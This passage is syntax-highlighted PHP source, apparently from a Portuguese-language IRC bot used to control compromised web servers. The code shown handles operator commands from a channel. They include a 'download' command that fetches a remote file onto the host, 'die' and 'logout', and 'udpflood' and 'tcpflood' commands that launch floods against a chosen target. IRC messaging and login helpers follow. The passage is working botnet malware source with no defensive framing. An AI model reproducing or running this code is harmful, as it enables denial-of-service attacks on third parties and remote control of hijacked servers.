&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">privmsg</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">config</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'chan'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;[<span style="color: #660099; font-weight: bold;">\2</span>update<span style="color: #660099; font-weight: bold;">\2</span>]: Server trocado para &quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;:&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#91;</span>2<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #009900;">&#125;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">break</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">&quot;download&quot;</span><span style="color: #339933;">:</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/count"><span style="color: #990000;">count</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&gt;</span> 2<span style="color: #009900;">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #000088;">$fp</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/fopen"><span style="color: #990000;">fopen</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;w&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">privmsg</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">config</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'chan'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;[<span style="color: #660099; font-weight: bold;">\2</span>download<span style="color: #660099; font-weight: bold;">\2</span>]: Nao foi possivel fazer o download. Permissao negada.&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">else</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #000088;">$get</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/file"><span style="color: #990000;">file</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#91;</span>1<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">privmsg</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">config</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'chan'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;[<span style="color: #660099; font-weight: bold;">\2</span>download<span style="color: #660099; font-weight: bold;">\2</span>]: Nao foi possivel fazer o download de <span style="color: #660099; font-weight: bold;">\2</span>&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;<span style="color: #660099; font-weight: bold;">\2</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #009900;">&#125;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #b1b100;">else</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">for</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$i</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span><span style="color: #000088;">$i</span><span style="color: #339933;">&lt;=</span><a href="http://www.php.net/count"><span style="color: #990000;">count</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$get</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #000088;">$i</span><span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<a href="http://www.php.net/fwrite"><span style="color: #990000;">fwrite</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #339933;">,</span><span style="color: #000088;">$get</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$i</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">privmsg</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">config</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'chan'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;[<span style="color: #660099; font-weight: bold;">\2</span>download<span style="color: #660099; font-weight: bold;">\2</span>]: Arquivo <span style="color: #660099; font-weight: bold;">\2</span>&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;<span style="color: #660099; font-weight: bold;">\2</span> baixado para <span style="color: #660099; font-weight: bold;">\2</span>&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;<span style="color: #660099; font-weight: bold;">\2</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #009900;">&#125;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<a href="http://www.php.net/fclose"><span style="color: #990000;">fclose</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fp</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">privmsg</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">config</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'chan'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;[<span style="color: #660099; font-weight: bold;">\2</span>download<span style="color: #660099; font-weight: bold;">\2</span>]: use .download http://your.host/file /tmp/file&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">break</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">&quot;die&quot;</span><span style="color: #339933;">:</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">send</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;QUIT :die command from <span style="color: #006699; font-weight: bold;">$nick</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<a href="http://www.php.net/fclose"><span style="color: #990000;">fclose</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">conn</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<a href="http://www.php.net/exit"><span style="color: #990000;">exit</span></a><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">&quot;logout&quot;</span><span style="color: #339933;">:</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">log_out</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$host</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">privmsg</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">config</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'chan'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;[<span style="color: #660099; font-weight: bold;">\2</span>auth<span style="color: #660099; font-weight: bold;">\2</span>]: <span style="color: #006699; font-weight: bold;">$nick</span> deslogado!&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">break</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">&quot;udpflood&quot;</span><span style="color: #339933;">:</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/count"><span style="color: #990000;">count</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">&gt;</span>3<span style="color: #009900;">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">udpflood</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#91;</span>1<span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#91;</span>2<span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#91;</span>3<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #009900;">&#125;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">break</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">&quot;tcpflood&quot;</span><span style="color: #339933;">:</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/count"><span style="color: #990000;">count</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">&gt;</span>5<span style="color: #009900;">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">tcpflood</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#91;</span>1<span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#91;</span>2<span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#91;</span>3<span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#91;</span>4<span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#91;</span>5<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #009900;">&#125;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">break</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #009900;">&#125;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #009900;">&#125;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">break</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #009900;">&#125;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #009900;">&#125;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000088;">$old_buf</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">buf</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <br />
&nbsp; &nbsp; <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">start</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp;<span style="color: #009900;">&#125;</span> <br />
&nbsp;<span style="color: #000000; font-weight: bold;">function</span> send<span style="color: #009900;">&#40;</span><span style="color: #000088;">$msg</span><span style="color: #009900;">&#41;</span> <br />
&nbsp;<span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; <a href="http://www.php.net/fwrite"><span style="color: #990000;">fwrite</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">conn</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$msg</span><span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
<br />
&nbsp;<span style="color: #009900;">&#125;</span> <br />
&nbsp;<span style="color: #000000; font-weight: bold;">function</span> <a href="http://www.php.net/join"><span style="color: #990000;">join</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$chan</span><span style="color: #339933;">,</span><span style="color: #000088;">$key</span><span style="color: #339933;">=</span><span style="color: #009900; font-weight: bold;">NULL</span><span style="color: #009900;">&#41;</span> <br />
&nbsp;<span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">send</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;JOIN <span style="color: #006699; font-weight: bold;">$chan</span> <span style="color: #006699; font-weight: bold;">$key</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp;<span style="color: #009900;">&#125;</span> <br />
&nbsp;<span style="color: #000000; font-weight: bold;">function</span> privmsg<span style="color: #009900;">&#40;</span><span style="color: #000088;">$to</span><span style="color: #339933;">,</span><span style="color: #000088;">$msg</span><span style="color: #009900;">&#41;</span><br />
&nbsp;<span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">send</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;PRIVMSG <span style="color: #006699; font-weight: bold;">$to</span> :<span style="color: #006699; font-weight: bold;">$msg</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp;<span style="color: #009900;">&#125;</span><br />
&nbsp;<span style="color: #000000; font-weight: bold;">function</span> notice<span style="color: #009900;">&#40;</span><span style="color: #000088;">$to</span><span style="color: #339933;">,</span><span style="color: #000088;">$msg</span><span style="color: #009900;">&#41;</span><br />
&nbsp;<span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">send</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;NOTICE <span style="color: #006699; font-weight: bold;">$to</span> :<span style="color: #006699; font-weight: bold;">$msg</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp;<span style="color: #009900;">&#125;</span><br />
&nbsp;<span style="color: #000000; font-weight: bold;">function</span> is_logged_in<span style="color: #009900;">&#40;</span><span style="color: #000088;">$host</span><span style="color: #009900;">&#41;</span> <br />
&nbsp;<span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/isset"><span style="color: #990000;">isset</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">users</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$host</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #b1b100;">return</span> <span style="color: #cc66cc;">1</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; <span style="color: #b1b100;">else</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #b1b100;">return</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span> <br />
&nbsp;<span style="color: #009900;">&#125;</span> <br />
&nbsp;<span style="color: #000000; font-weight: bold;">function</span> log_in<span style="color: #009900;">&#40;</span><span style="color: #000088;">$host</span><span style="color: #009900;">&#41;</span> <br />
&nbsp;<span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">users</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$host</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #009900; font-weight: bold;">true</span><span style="color: #339933;">;</span> <br />
&nbsp;<span style="color: #009900;">&#125;</span> <br />
&nbsp;<span style="color: #000000; font-weight: bold;">function</span> log_out<span style="color: #009900;">&#40;</span><span style="color: #000088;">$host</span><span style="color: #009900;">&#41;</span> <br />
&nbsp;<span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; <a href="http://www.php.net/unset"><span style="color: #990000;">unset</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">users</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$host</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp;<span style="color: #009900;">&#125;</span> <br />
&nbsp;<span style="color: #000000; font-weight: bold;">function</span> set_nick<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <br />
&nbsp;<span style="color: #009900;">&#123;</span> <br />
